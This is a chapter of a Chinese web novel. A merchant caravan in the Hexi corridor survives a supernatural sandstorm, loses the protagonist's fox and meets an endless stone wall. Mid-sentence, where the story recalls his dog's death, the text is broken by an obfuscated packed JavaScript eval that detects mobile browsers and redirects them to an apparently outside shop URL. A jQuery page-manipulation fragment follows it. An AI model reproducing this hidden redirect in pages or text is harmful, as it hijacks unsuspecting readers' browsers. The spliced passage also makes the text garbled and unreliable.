河西四郡地处两处高山夹缝处,是从京城去西域的唯一通路。
从乌鞘岭入河西后,地势变平缓,风沙却没减。胡先生说,等他们行至张掖郡,会看见大片的水源和村落,那地方也有塞上江南的美誉。
如今刚从武威离开,还只有塞上,没有江南。
因河西人口组成过于复杂,胡先生向武威太守借了一小队人,多是河西土生土长的本地人,给商队做向导,兼当护卫。
和胡先生不同,这位向导是外族血统,生得浓眉大眼,肤色棕黑,身材也是五大三粗,站在那里能吓走一群小孩。
莫说小孩,就是邹敛第一回见他也被吓了一跳,交谈几句才发现他脾气相当温和,和他那张夜叉脸毫无关系。
向导和胡先生意见一致,他们已经在武威东面遇见过风沙,出了武威,大概会比较顺。毕竟风沙也是有间隔的。
果不其然,他们出关后,天气前所未有地晴朗,走了一段路,太阳开始落山,把沙漠都染成了淡粉色。
橙红的一个圆盘悬挂于天际,像传闻中敬爱世人的神明。
“在中原没见过这样好看的落日。”邹敛感叹。
在中原时,城中楼房林立,郊外农田错落,少见这种一眼望不到头的平坦地。夕阳也只有金灿灿的,偶有晚霞染上半边天空的时候,能看到一点模模糊糊的火烧云。
对他们中的大多数人来讲,来到一个没人认识的地方,带来的不是人生地不熟的惶恐,更多的是逃避生活带来的自由。
大漠的天空澄净,天地广阔,远离尘世喧闹,反倒令人心安。
“此番美景,我也许多年没有见过了。”胡先生总算是看上去高兴了一些,露出了个还算真心的笑容,而后忽然开始咳嗽,没来由地咳了许久。
“先生,是不是太久没喝水了?”
胡先生摆摆手:“不是不是,我方才总觉得有沙子进喉咙里了,许是刚才赏美景时不小心嘴巴张太大了吧,哈哈哈。”
有几个队员忽然也开始咳嗽起来,胡先生调侃他们:“你们怎么回事,嘴巴都张太大了吗?”
向导忽然勒住骆驼,返回来一些,和胡先生并排,说了些什么话。
邹敛觉得奇怪,明明隔得那么近,他们说话的声音却像是隔了一层雾一样模糊。
他刚想开口参与二人的谈话,前方忽然传来一声巨响,像炮仗一样轰然炸开,邹敛一时耳鸣得厉害,耳朵里什么声音都听不见了。
所有人一齐向前看去,顿时愣在当场。
在几十步远的地方,有一个巨大到遮天蔽日的沙团,呼啸着向他们袭来。
所有人都没来得及反应,已然被那蛮横霸道的沙尘卷了进去。
沙团内的风胡乱地刮,邹敛感觉自己被风刮地飞起来又重重摔在地上,背篓从身上掉下来,里面的东西散落一地。
鼻子里吸了太多的沙子,呼吸和咳嗽都显得分外艰难,头也渐渐昏沉。
在最后的时刻,邹敛终于后知后觉地想,原来这就是沙鬼么……
难道他真的要死在这里了。
邹敛不自觉地害怕起来。
不知过了多久,邹敛睁开了眼睛。眼前依旧灰蒙蒙的,就像被风沙卷进去后看到的景象一样。
但眼前是清朗的,鼻子里和嗓子里似乎也没有任何东西卡着,风沙应该已经过去了。
邹敛木楞地坐起来,看着自己身旁乱成一团的随身物件,还有那个破了洞的竹背篓。
他又打量起周围,商队的人也在这里,有些人像他一样已经醒来,有些人仍然陷在昏睡中。
他和商队几人草草地拍了对方身上的尘土,面面相觑,看到了旁人眼中一模一样的迷茫。
他们似乎没有死。
但所有人都清楚,像刚才那个样子的沙尘,人被卷进去后是绝无生还可能的。
“大人,我们不会是在阴曹地府吧……”有个年纪不大的成员怯生生地问。
话音刚落,他就被一旁一个看着年纪大了不少的人不轻不重地拍了下头:“瞎说什么玩意呢。地府不得有奈何桥,不得有孟婆啊?你看我们谁长得像孟婆?”
商队成员和本地向导陆续醒来,邹敛清点了一下,人数是对的。那团沙子很公平地把每个人都卷了进来。
胡先生有些魂不守舍,向导倒是很镇定,分析道:“先生,我们这是碰上了沙鬼了。只是不知为何,沙鬼竟放了我们一马。眼下最要紧的事,是赶紧穿过这块沙鬼常出没的地方,等到了张掖郡,人变密集了之后,沙鬼自然会遁去行踪。”
见胡先生不答话,邹敛便替他接了:“您说的是。那各位便先收拾一下散落的东西,人活着最要紧,其次就是骆驼和货物,别的东西丢了便丢了,不要费大功夫去找,太耽误时间了。一刻钟之后,继续前进,烦请诸位从速。”
邹敛捡起他的竹篓。里面的一本手写游记还在,他大大松了口气。金银少了一些,好在大多数都被邹敛带在身上,竹篓里多是些衣服,还有不要紧的小物件。
虽然破了洞,但勉强也能用,只要能到张掖,再去买一个新的就是了。
邹敛把竹篓背起来,准备去看哪里有需要他帮忙的。
他忽然意识到一个问题。
好像有什么找不到了。
他慌忙把竹篓放下来,把东西全倒出来,盯着竹篓空荡荡的底发愣。
他的狐狸不见了……
邹敛亲娘死的早,他爹续弦之后,虽说继母对他也不错,爹也一直很看重他,可到底是有些生分的。
到邹敛四岁时,继母生下了妹妹,他爹老来得女宝贝得不行,邹敛便成了家里一个可有可无的存在。
那时候大哥在外做生意,只逢年节才回家一趟。两个书童都比他年纪大不少,说是书童,其实都是他爹派来看管他的。
在那个什么都不懂的年纪,邹敛唯一的玩伴就是那条叫大黄的狗。
大黄在邹敛生下来的时候两岁,最爱玩的游戏是扔球,一人一狗在田里能玩一个下午也不知疲倦。
原本大黄是替他们看家护院的,睡在前厅,离正院是最近的。
后来继母嫌它晚上打呼吵到妹妹睡觉,险些要把大黄送人。邹敛向他爹百般求情,才把大黄留下来,让它住到了自己的小院子里。
然而好景不长,在邹敛八岁时,有盗贼夜闯邹宅,大黄为保护年幼的小主人,被盗贼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555297|204427||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
两刀砍到要害处,血流不止,没能救回来。
大黄是只大狗,据说有漠北狗的血统。八岁的邹敛躺在大黄的尸体边上,发现自己还没有大黄长得高。
在大黄死去的第十年,邹敛又一次感受到了同样的恐惧,来源于一只跟了他不到三个月的狐狸。
但狐狸的事他是瞒着所有人的,此时也不好明目张胆说出来,只盼望着能在前面的路上见到它。
那狐狸的能耐应该不小,能化成人形的妖精修为都不浅,沙鬼应当奈何不了它。
一刻钟的时间飞一样地过去,随身带着的滴漏钟显示到了时间,邹敛赶忙召集商队众人继续赶路。
太阳不见踪影,天空依旧阴沉,却不像是天黑了,像是被什么东西遮蔽了光线。邹敛感觉耳边的一切声音都被莫名放大,隔得很远的队员在低声说话他也能听见,这令他感到一阵烦躁。
前路逐渐清晰,出现了一座巨大的石壁,一眼望不到头,却没有丝毫砖块堆叠的缝隙,像是天然形成的一块完整的巨石矗立在此。
“像是城墙……但明显不是城墙。”向导看着地图,喃喃自语似的低声说。
邹敛翻身下骆驼,朝四周看了看:“向导先生,您有什么判断吗?”
向导摇摇头:“大人见谅,我在此地居住多年,也从未见过这等景象,简直是闻所未闻。”
邹敛向侧面走了几步,石壁上没有洞也没有裂缝,一直走到众人消失在他的视线里,仍然望不到这块东西的尽头。
“能爬吗?”
“或许可以一试。”
向导拿出粗麻绳,向石壁上方猛地甩出挂钩,“啪”地一下把钩子定在高处的墙面上。他叫上了几个年轻人,用力拉拽绳索,钩子未动分毫。
“大人,是火成岩,可以爬。”
邹敛毫无经验,直觉失灵,无从判断石壁的对面是什么,只想快点离开这鬼地方,于是回答得不假思索:“爬。”
向导仔细查了罗盘,确认他们的方向没有偏离,这才犹豫着点头。
他又问邹敛:“大人,那这货……”
“等到了张掖,再多借人马过来把东西搬走。眼下先把人带出去,人活着是最要紧的。”
向导也同意这个说法:“大人说得有理,我先上去探探路吧。”
率先抓住麻绳往上攀。爬到抓钩处,他又向上抛了一根绳子,这次的落点似乎距离石壁的顶端不远了。
往上看也有种雾气浓重之感,向导很快被雾遮盖,消失在众人眼前。
过了很久,也没看见折返回来的向导,连向导的声音都没听到。
几个急性子已经开始坐不住,甚至有几个已经开骂了。邹敛隔得老远都能听见他们嘴里的污言秽语,恨不得把自己耳朵堵上。
不知又过去多久,绳索忽然颤动两下,向导溜着绳索滑了下来,稳稳站在地上。
“不高,三条绳索就能到顶了,但从那么高的地方看不到下面的是什么,全被雾气遮住了。”
继续探下去很危险,却也别无他法,邹敛一咬牙,对着周围的人喊:“所有人,放下手中辎重,跟向导一起翻过这座墙,争取在明日日出前,抵达张掖郡。”